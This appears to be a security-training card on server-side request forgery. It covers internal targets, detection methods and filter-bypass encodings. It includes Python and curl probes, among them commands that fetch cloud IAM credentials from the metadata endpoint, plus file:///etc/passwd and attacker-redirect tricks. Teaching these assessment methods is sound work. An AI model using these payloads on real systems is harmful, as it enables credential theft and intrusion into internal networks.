Basic SSRF Exploitation: Internal Service Enumeration via Server-Side URL Fetch Manipulation
Theory
Security Assessment Methodology
Server-Side Request Forgery (SSRF) occurs when an attacker can cause a server to issue HTTP (or other protocol) requests to an attacker-chosen destination. Because the request originates from the server's internal network perspective, it can reach services that are inaccessible from the public internet: cloud instance metadata endpoints, internal APIs, adjacent microservices, and data stores bound to loopback interfaces.
Classic SSRF targets:
- AWS IMDSv1 at
http://169.254.169.254/latest/meta-data/— returns IAM role credentials, instance identity, and user-data scripts. Accessible from any EC2 instance without authentication under IMDSv1. - Redis at
http://localhost:6379— if the server follows HTTP redirects or acceptsdict://URLs, it is possible to issue Redis commands, rewrite config files, or read cached secrets. - Elasticsearch at
http://localhost:9200— REST API requires no authentication in default installs;/_cat/indiceslists all indices,/_searchdumps documents. - Internal Kubernetes API server at
https://10.96.0.1:443— service account tokens mounted in pods may grant cluster-admin equivalent rights.
Detection techniques:
- Error message analysis: a URL-fetch parameter that returns a different error for
http://192.168.1.1than forhttp://notexists.invalidconfirms that the server is resolving and connecting to the supplied host. - Timing differences: a request to an RFC 1918 address that times out after exactly the server's TCP connect timeout (e.g., 5 s) versus an immediate rejection for a publicly routable non-responsive IP reveals internal network topology.
- Out-of-band callback (OOB): submit a URL pointing to a Burp Collaborator or interactsh listener. A DNS lookup or HTTP request arriving at the listener confirms blind SSRF even when the server's response carries no body.
Filter bypass techniques:
- Octal IP:
http://0177.0.0.1/decodes to127.0.0.1in POSIX inet_aton but may bypass naive string matching for "localhost" or "127.". - Decimal (integer) IP:
http://2130706433/is127.0.0.1expressed as a 32-bit decimal integer. Many URL parsers accept this form; fewer deny-lists check for it. - IPv6 loopback:
http://[::1]/— equivalent to127.0.0.1; deny-lists that check for127.0.0.1literally miss this form. - IPv6 mapped:
http://[::ffff:127.0.0.1]/— IPv4-mapped IPv6 address; same effect. - DNS rebinding: register a domain that initially resolves to an attacker-controlled IP (passing the allow-list check) then re-resolves to
127.0.0.1before the actual HTTP connection (TOCTOU on DNS resolution). - URL parser confusion: supply
http://[email protected]/— some parsers treat the part before@as credentials and the part after as the host; others treatattacker.comas the host.
Technical Deep-Dive
# Probe for SSRF via OOB — send a request with a collaborator URL and observe DNS/HTTP
import requests, uuid
COLLABORATOR = "https://<your-interactsh-or-collaborator-id>.oast.fun"
TARGET_PARAM = "url" # query parameter or JSON key that triggers the fetch
TARGET_URL = "https://target.example.com/fetch"
probe_id = str(uuid.uuid4())[:8]
payload_url = f"{COLLABORATOR}/{probe_id}"
resp = requests.post(TARGET_URL, json={TARGET_PARAM: payload_url}, timeout=10)
print(f"[*] HTTP status: {resp.status_code}")
print(f"[*] Check collaborator for interaction ID: {probe_id}")
# If the collaborator records a hit, the endpoint is vulnerable to blind SSRF.
# Bypass: test multiple IP representations for 127.0.0.1
import ipaddress, struct
ip = ipaddress.IPv4Address("127.0.0.1")
packed = struct.pack(">I", int(ip))
decimal_form = int(ip) # 2130706433
octal_form = ".".join(f"0{oct(b)[2:]}" for b in packed) # 0177.0.0.1
hex_form = "0x" + packed.hex() # 0x7f000001
representations = [
"127.0.0.1",
"localhost",
"[::1]",
"[::ffff:127.0.0.1]",
str(decimal_form),
octal_form,
hex_form,
]
for rep in representations:
url = f"http://{rep}:8080/internal"
print(f"[*] Trying: {url}")
# Submit url to the SSRF parameter and compare responses
# Test SSRF against AWS metadata endpoint (from inside EC2 or via SSRF)
curl -s "http://169.254.169.254/latest/meta-data/"
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Follow up: GET /<role-name> to retrieve AccessKeyId, SecretAccessKey, Token
# DNS rebinding PoC — set DNS TTL=0, toggle A record between allowed_ip and 127.0.0.1
# Use rebinder.net or singularity-of-origin for automated rebinding attacks
# Detect SSRF via timing (no OOB needed) — internal RFC-1918 address times out,
# public non-routable address returns connection refused immediately:
time curl -s --max-time 5 "https://target.example.com/fetch?url=http://10.0.0.1:6379"
time curl -s --max-time 5 "https://target.example.com/fetch?url=http://198.51.100.1:6379"
# Significant time difference => internal host exists at 10.0.0.1
Common Assessment Errors
1. Assuming only HTTP is exploitable. Many frameworks support file://, dict://, gopher://, ftp://, and ldap:// URL schemes in their HTTP client libraries. Always test non-HTTP schemes; file:///etc/passwd and dict://localhost:6379/INFO may work even when http:// is filtered.
2. Not testing redirects. A deny-list that blocks direct requests to 169.254.169.254 may not block a request to http://attacker.com/redirect that returns Location: http://169.254.169.254/.... Test whether the server follows redirects, and if so, whether the deny-list is re-evaluated after the redirect.
3. Ignoring IPv6. Many SSRF filters check for 127.0.0.1 and localhost but omit ::1 and ::ffff:127.0.0.1. If the target server has IPv6 enabled on its loopback interface, IPv6 representations may bypass the filter entirely.
4. Stopping after confirming SSRF. SSRF is an access primitive, not a final impact. The value lies in what internal services can be reached. Always enumerate: cloud metadata, Redis, Elasticsearch, internal admin panels, and Kubernetes APIs. Document the full blast radius, not just the trigger.
5. Using Burp Collaborator as the only OOB channel. Some environments block outbound HTTP/HTTPS but permit DNS. When Burp Collaborator HTTP callbacks do not arrive, check DNS callbacks separately — they often succeed through corporate firewalls.
6. Confusing blind SSRF with non-SSRF errors. A uniform "invalid URL" error for all inputs — both internal and external — does not confirm absence of SSRF; the server may fetch the URL and suppress the response. Use timing and OOB DNS to distinguish genuine filtering from response suppression.
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.